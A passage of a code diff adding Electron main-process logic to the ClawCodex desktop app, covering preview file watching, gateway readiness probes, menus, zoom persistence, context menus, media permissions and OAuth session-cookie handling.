+  let resolved = resolveRequestedPathForIpc(/^file:/i.test(raw) ? raw : expandUserPath(raw), {
+    baseDir: base,
+    purpose: 'Preview target'
+  })
+
+  if (directoryExists(resolved)) {
+    resolved = path.join(resolved, 'index.html')
+  }
+
+  const ext = path.extname(resolved).toLowerCase()
+
+  if (!fileExists(resolved)) {
+    return null
+  }
+
+  ;({ resolvedPath: resolved } = await resolveReadableFileForIpc(resolved, { purpose: 'Preview target' }))
+
+  const mimeType = mimeTypeForPath(resolved)
+  const metadata = previewFileMetadata(resolved, mimeType)
+  const isHtml = PREVIEW_HTML_EXTENSIONS.has(ext)
+  const isImage = mimeType.startsWith('image/')
+  const isPdf = PREVIEW_PDF_EXTENSIONS.has(ext) || mimeType === 'application/pdf'
+  const previewKind = isHtml ? 'html' : isImage ? 'image' : isPdf ? 'pdf' : metadata.binary ? 'binary' : 'text'
+
+  return {
+    binary: metadata.binary,
+    byteSize: metadata.byteSize,
+    kind: 'file',
+    large: metadata.large,
+    label: path.basename(resolved),
+    language: PREVIEW_LANGUAGE_BY_EXT[ext] || 'text',
+    mimeType,
+    path: resolved,
+    previewKind,
+    source: raw,
+    url: pathToFileURL(resolved).toString()
+  }
+}
+
+function previewUrlTarget(rawTarget) {
+  const raw = String(rawTarget || '').trim()
+  const url = new URL(raw)
+
+  if (!['http:', 'https:'].includes(url.protocol)) {
+    return null
+  }
+
+  if (!LOCAL_PREVIEW_HOSTS.has(url.hostname.toLowerCase())) {
+    return null
+  }
+
+  if (url.hostname === '0.0.0.0') {
+    url.hostname = '127.0.0.1'
+  }
+
+  return {
+    kind: 'url',
+    label: previewLabelForUrl(url),
+    source: raw,
+    url: url.toString()
+  }
+}
+
+async function normalizePreviewTarget(rawTarget, baseDir) {
+  const raw = String(rawTarget || '').trim()
+
+  if (!raw) {
+    return null
+  }
+
+  try {
+    if (/^https?:\/\//i.test(raw)) {
+      return previewUrlTarget(raw)
+    }
+
+    return await previewFileTarget(raw, baseDir)
+  } catch {
+    return null
+  }
+}
+
+async function filePathFromPreviewUrl(rawUrl) {
+  const { resolvedPath } = await resolveReadableFileForIpc(String(rawUrl || ''), { purpose: 'Preview file' })
+
+  return resolvedPath
+}
+
+function sendPreviewFileChanged(payload) {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:preview-file-changed', payload)
+}
+
+async function watchPreviewFile(rawUrl) {
+  const filePath = await filePathFromPreviewUrl(rawUrl)
+  const watchDir = path.dirname(filePath)
+  const targetName = path.basename(filePath)
+  const id = crypto.randomBytes(12).toString('base64url')
+  let timer = null
+
+  const watcher = fs.watch(watchDir, (_eventType, filename) => {
+    const changedName = filename ? path.basename(String(filename)) : ''
+
+    if (changedName && changedName !== targetName) {
+      return
+    }
+
+    if (timer) {
+      clearTimeout(timer)
+    }
+
+    timer = setTimeout(() => {
+      timer = null
+
+      if (!fileExists(filePath)) {
+        return
+      }
+
+      sendPreviewFileChanged({ id, path: filePath, url: pathToFileURL(filePath).toString() })
+    }, PREVIEW_WATCH_DEBOUNCE_MS)
+  })
+
+  previewWatchers.set(id, {
+    close: () => {
+      if (timer) {
+        clearTimeout(timer)
+      }
+
+      watcher.close()
+    }
+  })
+
+  return { id, path: filePath }
+}
+
+function stopPreviewFileWatch(id) {
+  const watcher = previewWatchers.get(id)
+
+  if (!watcher) {
+    return false
+  }
+
+  watcher.close()
+  previewWatchers.delete(id)
+
+  return true
+}
+
+function closePreviewWatchers() {
+  for (const id of previewWatchers.keys()) {
+    stopPreviewFileWatch(id)
+  }
+}
+
+/** Watch a DIRECTORY for entry churn (folders appearing/vanishing) — the
+ *  disk-plugin door's "new plugin folder" signal, replacing the renderer's 5s
+ *  readdir poll. Same registry + change channel as the preview file watchers
+ *  (the renderer reconciles on any tick; per-file edits stay on their own
+ *  watches), so stopPreviewFileWatch/closePreviewWatchers manage these too. */
+function watchDirectory(rawDir) {
+  const watchDir = path.resolve(String(rawDir || ''))
+
+  if (!fs.existsSync(watchDir) || !fs.statSync(watchDir).isDirectory()) {
+    throw new Error(`Not a directory: ${watchDir}`)
+  }
+
+  const id = crypto.randomBytes(12).toString('base64url')
+  let timer = null
+
+  const watcher = fs.watch(watchDir, () => {
+    if (timer) {
+      clearTimeout(timer)
+    }
+
+    timer = setTimeout(() => {
+      timer = null
+      sendPreviewFileChanged({ id, path: watchDir, url: pathToFileURL(watchDir).toString() })
+    }, PREVIEW_WATCH_DEBOUNCE_MS)
+  })
+
+  previewWatchers.set(id, {
+    close: () => {
+      if (timer) {
+        clearTimeout(timer)
+      }
+
+      watcher.close()
+    }
+  })
+
+  return { id, path: watchDir }
+}
+
+// Best-effort read of a gateway's advertised auth providers, cached per base
+// URL for the life of the process. Used by the oauth pre-flight guard to tell
+// a password-provider gateway (which cannot satisfy the bearer/cookie checks
+// by design) from a real OAuth one. Any failure returns [] so callers keep the
+// strict guard — backends predating /api/auth/providers are unaffected.
+const gatewayAuthProvidersCache = new Map<string, any[]>()
+
+async function gatewayAuthProviders(baseUrl) {
+  const cached = gatewayAuthProvidersCache.get(baseUrl)
+
+  if (cached) {
+    return cached
+  }
+
+  let providers = []
+
+  try {
+    const body = (await fetchPublicJson(`${baseUrl}/api/auth/providers`, { timeoutMs: 8_000 })) as any
+
+    if (Array.isArray(body?.providers)) {
+      providers = body.providers
+        .filter(p => p && typeof p === 'object')
+        .map(p => ({ name: String(p.name || ''), supportsPassword: Boolean(p.supports_password) }))
+        .filter(p => p.name)
+    }
+  } catch {
+    // Optional metadata — an unreadable list keeps the strict guard.
+  }
+
+  gatewayAuthProvidersCache.set(baseUrl, providers)
+
+  return providers
+}
+
+// Build the readiness probe for a connection's auth mode. A gated gateway
+// must be probed with the SAME credentials the rest of the connection uses:
+// an anonymous probe 401s forever against a live session, and it can never
+// see the 404 that identifies a backend predating /api/health (the auth gate
+// answers before the SPA catch-all). `probeIsCredentialed` tells
+// waitForClawCodexReady how to read a 401 — rejected session vs gated route.
+async function buildReadinessHealthProbe(baseUrl, authMode, token) {
+  const nativeAt = authMode === 'oauth' ? await ensureNativeAccessToken(baseUrl).catch(() => null) : null
+  const probeAuth = resolveReadinessProbeAuth(authMode, nativeAt, token)
+
+  if (probeAuth.kind === 'bearer') {
+    return {
+      // fetchJson takes the bearer via `options.bearer` — a raw `headers`
+      // option is ignored, so passing one here would silently probe
+      // uncredentialed and reintroduce the 401 loop.
+      probeHealth: (url, options: any = {}) => fetchJson(url, null, { ...options, bearer: probeAuth.token }),
+      probeIsCredentialed: true
+    }
+  }
+
+  if (probeAuth.kind === 'cookie') {
+    return {
+      probeHealth: (url, options: any = {}) => fetchJsonViaOauthSession(url, options),
+      probeIsCredentialed: true
+    }
+  }
+
+  if (probeAuth.kind === 'token' && probeAuth.token) {
+    return {
+      probeHealth: (url, options: any = {}) => fetchJson(url, probeAuth.token, options),
+      probeIsCredentialed: true
+    }
+  }
+
+  return { probeHealth: fetchPublicJson, probeIsCredentialed: false }
+}
+
+async function waitForClawCodex(baseUrl, token, signal?, authMode?) {
+  const { probeHealth, probeIsCredentialed } = await buildReadinessHealthProbe(baseUrl, authMode, token)
+
+  return waitForClawCodexReady(baseUrl, {
+    token,
+    signal,
+    fetchPublicJson,
+    fetchJson: probeIsCredentialed ? (url, _token, options) => probeHealth(url, options) : fetchJson,
+    probeHealth,
+    probeIsCredentialed
+  })
+}
+
+function getWindowButtonPosition() {
+  if (!IS_MAC) {
+    return null
+  }
+
+  return mainWindow?.getWindowButtonPosition?.() || WINDOW_BUTTON_POSITION
+}
+
+function getNativeOverlayWidth() {
+  return computeNativeOverlayWidth({ isWindows: IS_WINDOWS, isWsl: IS_WSL, isMac: IS_MAC })
+}
+
+function getWindowState(win = mainWindow) {
+  return {
+    isFullscreen: Boolean(win?.isFullScreen?.()),
+    isMinimized: Boolean(win?.isMinimized?.()),
+    isVisible: Boolean(win?.isVisible?.()),
+    nativeOverlayWidth: getNativeOverlayWidth(),
+    windowButtonPosition: getWindowButtonPosition()
+  }
+}
+
+function sendBackendExit(payload) {
+  // Intentional soft re-home (gateway mode apply) kills the child on purpose —
+  // don't surface the "backend stopped" error toast / boot-failure path.
+  if (softRehomeInProgress) {
+    return
+  }
+
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:backend-exit', payload)
+}
+
+function sendClosePreviewRequested() {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:close-preview-requested')
+}
+
+function sendOpenFolderRequested() {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const webContents = mainWindow.webContents
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:open-folder-requested')
+}
+
+// Tell the renderer the machine just woke. Sleep silently drops the
+// renderer's WebSocket to the local backend; the renderer reconnects on this
+// signal so the chat composer doesn't stay stuck on "Starting ClawCodex...".
+function sendPowerResume() {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:power-resume')
+}
+
+let powerResumeRegistered = false
+
+// Mirror of powerMonitor's AC/battery state, broadcast to every window so
+// renderer backstop polls can slow down on battery (see store/power.ts).
+// `null` until the first powerMonitor read after app ready.
+let onBatteryPower: boolean | null = null
+
+// Renderer-side battery gating seeds from this and stays current via the
+// 'clawcodex:power-battery' push below.
+ipcMain.handle('clawcodex:power-battery:get', () => onBatteryPower === true)
+
+function broadcastBatteryState(next: boolean) {
+  if (onBatteryPower === next) {
+    return
+  }
+
+  onBatteryPower = next
+
+  for (const win of BrowserWindow.getAllWindows()) {
+    const { webContents } = win
+
+    if (webContents && !webContents.isDestroyed()) {
+      webContents.send('clawcodex:power-battery', next)
+    }
+  }
+}
+
+function registerPowerResumeListeners() {
+  if (powerResumeRegistered) {
+    return
+  }
+
+  powerResumeRegistered = true
+
+  try {
+    // 'resume' covers sleep/wake; 'unlock-screen' covers lock/unlock without a
+    // full suspend. Either can drop an idle socket.
+    powerMonitor.on('resume', sendPowerResume)
+    powerMonitor.on('unlock-screen', sendPowerResume)
+    powerMonitor.on('on-battery', () => broadcastBatteryState(true))
+    powerMonitor.on('on-ac', () => broadcastBatteryState(false))
+    onBatteryPower = powerMonitor.isOnBatteryPower()
+  } catch {
+    // powerMonitor is unavailable before app 'ready' on some platforms; the
+    // caller registers after 'ready', so this should not normally throw.
+  }
+}
+
+function getAppIconPath() {
+  return APP_ICON_PATHS.find(fileExists)
+}
+
+function sendOpenUpdatesRequested() {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:open-updates')
+
+  if (!mainWindow.isVisible()) {
+    mainWindow.show()
+  }
+
+  mainWindow.focus()
+}
+
+// Push titlebar/fullscreen chrome state to a window's renderer. Defaults to the
+// primary, but any full chat window (primary or a secondary "instance" peer)
+// passes itself so its own fullscreen toggle drives its own traffic-light inset.
+function sendWindowStateChanged(nextIsFullscreen?: boolean, target = mainWindow) {
+  if (!target || target.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = target
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  const state = getWindowState(target)
+
+  if (typeof nextIsFullscreen === 'boolean') {
+    state.isFullscreen = nextIsFullscreen
+  }
+
+  webContents.send('clawcodex:window-state-changed', state)
+}
+
+function buildApplicationMenu() {
+  const template = []
+
+  const checkForUpdatesItem = {
+    label: 'Check for Updates…',
+    click: () => sendOpenUpdatesRequested()
+  }
+
+  if (IS_MAC) {
+    template.push({
+      label: APP_NAME,
+      submenu: [
+        { label: `About ${APP_NAME}`, click: () => showAboutPanelFresh() },
+        checkForUpdatesItem,
+        { type: 'separator' },
+        { role: 'services' },
+        { type: 'separator' },
+        { role: 'hide' },
+        { role: 'hideOthers' },
+        { role: 'unhide' },
+        { type: 'separator' },
+        { role: 'quit' }
+      ]
+    })
+  }
+
+  template.push({
+    label: 'File',
+    submenu: [
+      // No accelerator: ⌘⇧N is a rebindable renderer keybind (session.newWindow);
+      // a menu accelerator would fight the rebind panel and (on macOS) be
+      // swallowed before the renderer sees it. Here purely for discoverability.
+      { click: () => createInstanceWindow(), label: 'New Window' },
+      // Same no-accelerator rationale: ⌘O is the rebindable renderer keybind
+      // (workspace.openFolder). Clicking runs the same open-folder-as-project
+      // flow through the renderer.
+      { click: () => sendOpenFolderRequested(), label: 'Open Folder…' },
+      { type: 'separator' },
+      IS_MAC
+        ? {
+            // NO accelerator: on macOS a registered ⌘W is consumed by the OS
+            // menu before the web contents ever sees it (and registerAccelerator
+            // false is a no-op on mac — electron#18295). Leaving it off lets the
+            // `before-input-event` handler below intercept ⌘W and route it to the
+            // renderer's close-active-tab. Clicking the item still closes the tab
+            // (or window) via the same request.
+            click: () => sendClosePreviewRequested(),
+            label: 'Close'
+          }
+        : { role: 'quit' }
+    ]
+  })
+  template.push({
+    label: 'Edit',
+    submenu: [
+      { role: 'undo' },
+      { role: 'redo' },
+      { type: 'separator' },
+      { role: 'cut' },
+      { role: 'copy' },
+      { role: 'paste' },
+      // ⌘⇧V is only wired up by this item existing: an accelerator with no menu
+      // entry is never translated into an editor command, so the chord was a
+      // no-op in every input in the app. The composer inserts plain text on
+      // every paste anyway, so this is the same result as ⌘V there — it's the
+      // terminal, preview, and other editable surfaces that need the strip.
+      { role: 'pasteAndMatchStyle' },
+      { role: 'delete' },
+      { role: 'selectAll' }
+    ]
+  })
+  template.push({
+    label: 'View',
+    submenu: [
+      { role: 'reload' },
+      { role: 'forceReload' },
+      { role: 'toggleDevTools' },
+      { type: 'separator' },
+      {
+        label: 'Actual Size',
+        accelerator: 'CommandOrControl+0',
+        click: () => {
+          setAndPersistZoomLevel(mainWindow, DEFAULT_ZOOM_LEVEL)
+        }
+      },
+      {
+        label: 'Zoom In',
+        accelerator: 'CommandOrControl+Plus',
+        click: () => {
+          if (mainWindow && !mainWindow.isDestroyed()) {
+            setAndPersistZoomLevel(mainWindow, mainWindow.webContents.getZoomLevel() + ZOOM_STEP)
+          }
+        }
+      },
+      {
+        label: 'Zoom Out',
+        accelerator: 'CommandOrControl+-',
+        click: () => {
+          if (mainWindow && !mainWindow.isDestroyed()) {
+            setAndPersistZoomLevel(mainWindow, mainWindow.webContents.getZoomLevel() - ZOOM_STEP)
+          }
+        }
+      },
+      { type: 'separator' },
+      { role: 'togglefullscreen' }
+    ]
+  })
+  template.push({
+    label: 'Window',
+    submenu: IS_MAC
+      ? [{ role: 'minimize' }, { role: 'zoom' }, { role: 'front' }]
+      : [{ role: 'minimize' }, { role: 'close' }]
+  })
+  template.push({
+    label: 'Help',
+    role: 'help',
+    submenu: [checkForUpdatesItem]
+  })
+
+  return Menu.buildFromTemplate(template)
+}
+
+function toggleDevTools(window) {
+  // DevTools is enabled in packaged builds so users can diagnose renderer
+  // issues without needing a dev build. Trade-off: tiny attack surface
+  // increase versus a much better support story when WS connection or
+  // CSP issues surface in the field.
+  const { webContents } = window
+
+  if (webContents.isDevToolsOpened()) {
+    webContents.closeDevTools()
+  } else {
+    webContents.openDevTools({ mode: 'detach' })
+  }
+}
+
+function installDevToolsShortcut(window) {
+  // F12 / Cmd+Opt+I works in both dev and packaged builds.
+  window.webContents.on('before-input-event', (event, input) => {
+    const key = input.key.toLowerCase()
+
+    const isInspectShortcut =
+      input.key === 'F12' ||
+      (IS_MAC && input.meta && input.alt && key === 'i') ||
+      (!IS_MAC && input.control && input.shift && key === 'i')
+
+    if (!isInspectShortcut) {
+      return
+    }
+
+    event.preventDefault()
+    toggleDevTools(window)
+  })
+}
+
+function installPreviewShortcut(window) {
+  window.webContents.on('before-input-event', (event, input) => {
+    const key = String(input.key || '').toLowerCase()
+    const isCloseTabShortcut = key === 'w' && (IS_MAC ? input.meta : input.control) && !input.alt && !input.shift
+
+    // Always claim ⌘W here (the File>Close item deliberately has no
+    // accelerator, so nothing else does). The renderer decides tab-vs-window
+    // — no `previewShortcutActive` gate, so it works for every closeable tab.
+    if (!isCloseTabShortcut) {
+      return
+    }
+
+    event.preventDefault()
+    sendClosePreviewRequested()
+  })
+}
+
+// Zoom level is persisted in the renderer's own localStorage (per-origin,
+// survives reloads/restarts) rather than a main-process JSON file. The main
+// process owns setZoomLevel, so we mirror each change into localStorage and
+// read it back on did-finish-load to re-apply after reloads or crash recovery.
+import {
+  applyZoomLevel,
+  DEFAULT_ZOOM_LEVEL,
+  installZoomReassertOnWindowEvents,
+  percentToZoomLevel,
+  ZOOM_STEP,
+  ZOOM_STORAGE_KEY,
+  zoomLevelToPercent,
+  zoomWiringForWindowKind
+} from './zoom'
+
+function setAndPersistZoomLevel(window, zoomLevel) {
+  if (!window || window.isDestroyed()) {
+    return
+  }
+
+  // Apply + notify in one funnel so the settings UI stays in sync, including
+  // changes made via the keyboard shortcuts or the View menu.
+  const next = applyZoomLevel(window.webContents, zoomLevel)
+
+  // Primary store: main-process JSON (survives crash recovery — #56726).
+  writeZoomState(next)
+  // Secondary mirror: renderer localStorage (legacy store; kept in sync so a
+  // downgrade or JSON read failure still finds a sane value).
+  window.webContents
+    .executeJavaScript(
+      `try { localStorage.setItem(${JSON.stringify(ZOOM_STORAGE_KEY)}, ${JSON.stringify(String(next))}) } catch {
+      void 0
+    }`
+    )
+    .catch(error => rememberLog(`[zoom] persist failed: ${error?.message || error}`))
+}
+
+function restorePersistedZoomLevel(window) {
+  if (!window || window.isDestroyed()) {
+    return
+  }
+
+  // Prefer the JSON file — it survives crash recovery wiping Electron's
+  // cache/storage folders (#56726). applyZoomLevel notifies the renderer so
+  // the Appearance UI Scale control stays in sync.
+  const saved = readZoomState()
+
+  if (saved != null) {
+    applyZoomLevel(window.webContents, saved)
+
+    return
+  }
+
+  // No JSON yet: paint the shipped default immediately so a fresh install
+  // doesn't flash Chromium 100%, then try localStorage for pre-JSON installs
+  // and overwrite if a legacy value is there.
+  applyZoomLevel(window.webContents, DEFAULT_ZOOM_LEVEL)
+
+  window.webContents
+    .executeJavaScript(
+      `(() => { try { return localStorage.getItem(${JSON.stringify(ZOOM_STORAGE_KEY)}) } catch { return null } })()`
+    )
+    .then(stored => {
+      if (!window || window.isDestroyed()) {
+        return
+      }
+
+      const level = stored == null ? DEFAULT_ZOOM_LEVEL : Number(stored)
+      const applied = applyZoomLevel(window.webContents, level)
+      writeZoomState(applied)
+    })
+    .catch(error => rememberLog(`[zoom] restore failed: ${error?.message || error}`))
+}
+
+function installZoomShortcuts(window) {
+  // Override Ctrl/Cmd + +/-/0 with half Chromium's default zoom step (ZOOM_STEP
+  // is 0.1 vs Chromium's 0.2). The menu items handle this on macOS (where the
+  // menu is always present), but on Linux/Windows the menu is null and
+  // Chromium's default handler would use the full 0.2 step, so we intercept
+  // here for consistency. Ctrl/Cmd+0 resets to DEFAULT_ZOOM_LEVEL, not Chromium 0.
+  window.webContents.on('before-input-event', (event, input) => {
+    const mod = IS_MAC ? input.meta : input.control
+
+    if (!mod || input.alt) {
+      return
+    }
+
+    const key = input.key
+
+    if (key === '0') {
+      if (input.shift) {
+        return // Ctrl/Cmd+Shift+0 is not a zoom chord — leave it alone
+      }
+
+      event.preventDefault()
+      setAndPersistZoomLevel(window, DEFAULT_ZOOM_LEVEL)
+    } else if (key === '=' || key === '+') {
+      // Zoom-in must accept the shift modifier: on US layouts Plus is
+      // physically Shift+=, so Cmd+Plus arrives as Cmd+Shift+'+' (or '='
+      // depending on platform). The old blanket shift guard silently
+      // dropped keyboard zoom-in on macOS (#43517).
+      event.preventDefault()
+      setAndPersistZoomLevel(window, window.webContents.getZoomLevel() + ZOOM_STEP)
+    } else if (key === '-') {
+      if (input.shift) {
+        return // Shift+'-' is '_' territory on most layouts, not zoom-out
+      }
+
+      event.preventDefault()
+      setAndPersistZoomLevel(window, window.webContents.getZoomLevel() - ZOOM_STEP)
+    }
+  })
+
+  // Ctrl/Cmd + mouse wheel — the standard desktop/browser zoom gesture
+  // (#40295). Chromium surfaces it as the main-process 'zoom-changed' event
+  // (wheel events are DOM-side, so before-input-event never sees them).
+  // Route through the same persist+notify funnel as the keyboard shortcuts
+  // so wheel zoom survives restarts and the settings Scale control stays in
+  // sync, and use the same half step for consistency.
+  window.webContents.on('zoom-changed', (event, zoomDirection) => {
+    event.preventDefault()
+    const delta = zoomDirection === 'in' ? ZOOM_STEP : -ZOOM_STEP
+    setAndPersistZoomLevel(window, window.webContents.getZoomLevel() + delta)
+  })
+}
+
+function installContextMenu(window) {
+  window.webContents.on('context-menu', (_event, params) => {
+    const template = []
+    const hasSelection = Boolean(params.selectionText?.trim())
+    const hasImage = params.mediaType === 'image' && Boolean(params.srcURL)
+    const hasLink = Boolean(params.linkURL)
+    const isEditable = Boolean(params.isEditable)
+
+    if (hasImage) {
+      template.push(
+        {
+          label: 'Open Image',
+          click: () => {
+            if (params.srcURL && !params.srcURL.startsWith('data:')) {
+              openExternalUrl(params.srcURL)
+            }
+          },
+          enabled: !params.srcURL.startsWith('data:')
+        },
+        {
+          label: 'Copy Image',
+          click: () => {
+            void copyImageFromUrl(params.srcURL).catch(error => rememberLog(`Copy image failed: ${error.message}`))
+          }
+        },
+        {
+          label: 'Copy Image Address',
+          click: () => clipboard.writeText(params.srcURL)
+        },
+        {
+          label: 'Save Image As...',
+          click: () => {
+            void saveImageFromUrl(params.srcURL).catch(error => rememberLog(`Save image failed: ${error.message}`))
+          }
+        }
+      )
+    }
+
+    if (hasLink) {
+      if (template.length) {
+        template.push({ type: 'separator' })
+      }
+
+      template.push(
+        {
+          label: 'Open Link',
+          click: () => openExternalUrl(params.linkURL)
+        },
+        {
+          label: 'Copy Link',
+          click: () => clipboard.writeText(params.linkURL)
+        }
+      )
+    }
+
+    // Spell-check suggestions for the misspelled word under the caret.
+    // Chromium surfaces them on `params.dictionarySuggestions`; we offer the
+    // top 5 plus a "Add to dictionary" affordance.
+    const suggestions = Array.isArray(params.dictionarySuggestions) ? params.dictionarySuggestions : []
+
+    if (isEditable && params.misspelledWord && suggestions.length > 0) {
+      if (template.length) {
+        template.push({ type: 'separator' })
+      }
+
+      for (const suggestion of suggestions.slice(0, 5)) {
+        template.push({
+          label: suggestion,
+          click: () => window.webContents.replaceMisspelling(suggestion)
+        })
+      }
+
+      template.push({ type: 'separator' })
+      template.push({
+        label: 'Add to dictionary',
+        click: () => window.webContents.session.addWordToSpellCheckerDictionary(params.misspelledWord)
+      })
+    }
+
+    if (hasSelection || isEditable) {
+      if (template.length) {
+        template.push({ type: 'separator' })
+      }
+
+      if (isEditable) {
+        template.push(
+          { role: 'cut', enabled: params.editFlags.canCut },
+          { role: 'copy', enabled: params.editFlags.canCopy },
+          { role: 'paste', enabled: params.editFlags.canPaste },
+          { type: 'separator' },
+          { role: 'selectAll', enabled: params.editFlags.canSelectAll }
+        )
+      } else {
+        template.push({ role: 'copy', enabled: params.editFlags.canCopy })
+      }
+    }
+
+    // Bare right-click on non-editable, non-selected, non-media content (a pane
+    // body, the sidebar, chrome): the renderer's own context menus own those
+    // surfaces, and anywhere without one shows nothing — not a lone, useless
+    // "Select All" from the native fallback.
+    if (!template.length) {
+      return
+    }
+
+    Menu.buildFromTemplate(template).popup({ window })
+  })
+}
+
+// Microphone and camera capture. The voice composer drives mic access and
+// renderer features (e.g. desktop plugins) can drive camera access, both
+// through getUserMedia, which Chromium gates behind these two session hooks.
+//
+// The naive `details.mediaTypes.includes('audio')` check works on macOS but
+// breaks on Windows: Chromium frequently fires the request with an empty or
+// undefined `mediaTypes`, so a strict check denies it and getUserMedia throws
+// NotAllowedError. We therefore allow the capture permissions and treat absent
+// metadata as allowed.
+//
+// Granting here is not the last gate: the OS still applies its own capture
+// permission (macOS TCC prompts on first use, per the NSMicrophone/NSCamera
+// usage strings), so the user keeps a real allow/deny and can revoke it in
+// System Settings afterwards.
+function isMediaCapturePermission(permission, details) {
+  if (permission === 'audioCapture' || permission === 'videoCapture') {
+    return true
+  }
+
+  if (permission !== 'media') {
+    return false
+  }
+
+  const mediaTypes = details?.mediaTypes
+
+  // Windows: mediaTypes is often empty for a capture request. Don't deny on
+  // missing metadata.
+  if (!Array.isArray(mediaTypes) || mediaTypes.length === 0) {
+    return true
+  }
+
+  return mediaTypes.includes('audio') || mediaTypes.includes('video')
+}
+
+function installMediaPermissions() {
+  // Async request handler: the prompt-style path (most platforms).
+  session.defaultSession.setPermissionRequestHandler((_webContents, permission, callback, details) => {
+    callback(isMediaCapturePermission(permission, details))
+  })
+
+  // Synchronous check handler: Chromium consults this for getUserMedia on
+  // Windows in addition to (or instead of) the request handler. Without it,
+  // the check defaults to false and capture is denied before the request
+  // handler ever runs.
+  session.defaultSession.setPermissionCheckHandler((_webContents, permission) => {
+    return (
+      permission === 'media' ||
+      permission === ('audioCapture' as any) /* todo: is this needed? */ ||
+      permission === ('videoCapture' as any)
+    )
+  })
+}
+
+// ---------------------------------------------------------------------------
+// OAuth remote-gateway auth.
+//
+// Hosted ClawCodex gateways gate the dashboard behind an OAuth provider (e.g.
+// ClawCodex contributors) instead of a static session token. The auth model is
+// fundamentally different from the token path:
+//
+//   * REST is authed by HttpOnly session cookies (``clawcodex_session_at``),
+//     established by a browser redirect round-trip (/login → IDP →
+//     /auth/callback sets cookies). We cannot read the HttpOnly cookie value
+//     in JS — instead we let an Electron BrowserWindow complete the round
+//     trip into a PERSISTENT session partition, and thereafter route our REST
+//     through Electron's ``net`` bound to that same partition so the cookie
+//     jar attaches the cookie automatically.
+//   * WebSocket upgrades require a single-use ``?ticket=`` minted at
+//     ``POST /api/auth/ws-ticket`` (cookie-authed). The legacy ``?token=``
+//     path is unconditionally rejected by gated gateways.
+//   * Nous Portal now issues a 24h ROTATING, reuse-detected refresh token
+//     alongside the ~15-min access token (Portal NAS #293 / clawcodex #37247).
+//     Both are set as HttpOnly cookies (``clawcodex_session_at`` ~15 min,
+//     ``clawcodex_session_rt`` 24h). When the AT cookie lapses but the RT cookie
+//     is still alive, the gateway middleware transparently rotates a fresh AT
+//     on the next authenticated request — so connectivity must NOT be gated on
+//     the AT cookie alone. We probe liveness by actually minting a ws-ticket
+//     (which triggers that server-side refresh) and treat a real 401 as
+//     "needs re-login"; the AT-or-RT cookie presence check is only a cheap
+//     "is the user signed in at all?" gate / display signal.
+// ---------------------------------------------------------------------------
+
+const OAUTH_SESSION_PARTITION = 'persist:clawcodex-remote-oauth'
+
+function getOauthSession() {
+  if (oauthSession || !app.isReady()) {
+    return oauthSession
+  }
+
+  oauthSession = session.fromPartition(OAUTH_SESSION_PARTITION)
+
+  return oauthSession
+}
+
+// Cold-start cookie-jar warm-up. A `persist:` partition materialized via
+// session.fromPartition() loads its on-disk cookie store LAZILY: the very first
+// cookies.get() on a fresh cold start can resolve BEFORE the jar has finished
+// hydrating from disk and return an empty array — even though the user is
+// signed in. That false-negative used to make hasLiveOauthSession() report
+// "not signed in", which on the initial boot path (startClawCodex → the renderer's
+// single-shot boot() with no retry) surfaced as the "ClawCodex couldn't start"
+// OAuth overlay that vanishes the instant the user clicks Retry.
+//
+// We force the store to hydrate once, up front: flushStorageData() then a
+// throwaway cookies.get(). The promise is memoized so every caller awaits the
+// same single warm-up. Best-effort — any error resolves so we fall back to the
+// live read (which then does its own bounded re-check).
+let oauthCookieWarmup: Promise<void> | null = null
+
+function warmOauthCookieStore() {
+  if (oauthCookieWarmup) {
+    return oauthCookieWarmup
+  }
+
+  oauthCookieWarmup = (async () => {
+    const sess = getOauthSession()
+
+    if (!sess) {
+      // App not ready yet — don't memoize a no-op; let a later call retry.
+      oauthCookieWarmup = null
+
+      return
+    }
+
+    try {
+      // flushStorageData() forces Chromium to reconcile the in-memory cookie
+      // monster with the on-disk SQLite store; the subsequent get() then reads
+      // a populated jar rather than racing the lazy first-access load.
+      sess.flushStorageData?.()
+      await sess.cookies.get({})
+    } catch {
+      // Best effort; the real read below re-checks with bounded retries.
+    }
+  })()
+
+  return oauthCookieWarmup
+}
+
+// Bare + prefixed variants of the session cookies live in
+// connection-config.ts (cookiesHaveSession / cookiesHaveLiveSession). See
+// that module for details.
+
+async function hasOauthSessionCookie(baseUrl) {
+  const sess = getOauthSession()
+
+  if (!sess) {
+    return false
+  }
+
+  const parsed = new URL(baseUrl)
+
+  try {
+    // Query by URL so the cookie jar applies Domain/Path/Secure scoping for us.
+    const cookies = await sess.cookies.get({ url: baseUrl })
+
+    return cookiesHaveSession(cookies)
+  } catch {
+    // Fall back to a host match if the URL query path errors.
+    try {
+      const cookies = await sess.cookies.get({ domain: parsed.hostname })
+
+      return cookiesHaveSession(cookies)
+    } catch {
+      return false
+    }
+  }
+}
+
+// Like hasOauthSessionCookie, but returns true when EITHER a live access-token
+// cookie OR a (longer-lived) refresh-token cookie is present. This is the right
+// "is the user signed in at all?" check: an expired AT with a live RT is still
+// a connectable session because the gateway rotates a fresh AT server-side on
+// the next authenticated request. Gating on the AT alone forces a needless full
+// re-login every ~15 min. Used for the Settings "connected" indicator and as a
+// cheap early-out before attempting a network round-trip in resolveRemoteBackend.
+async function hasLiveOauthSession(baseUrl) {
+  const sess = getOauthSession()
+
+  if (!sess) {
+    return false
+  }
+
+  const parsed = new URL(baseUrl)
+
+  const readLive = async () => {
+    try {
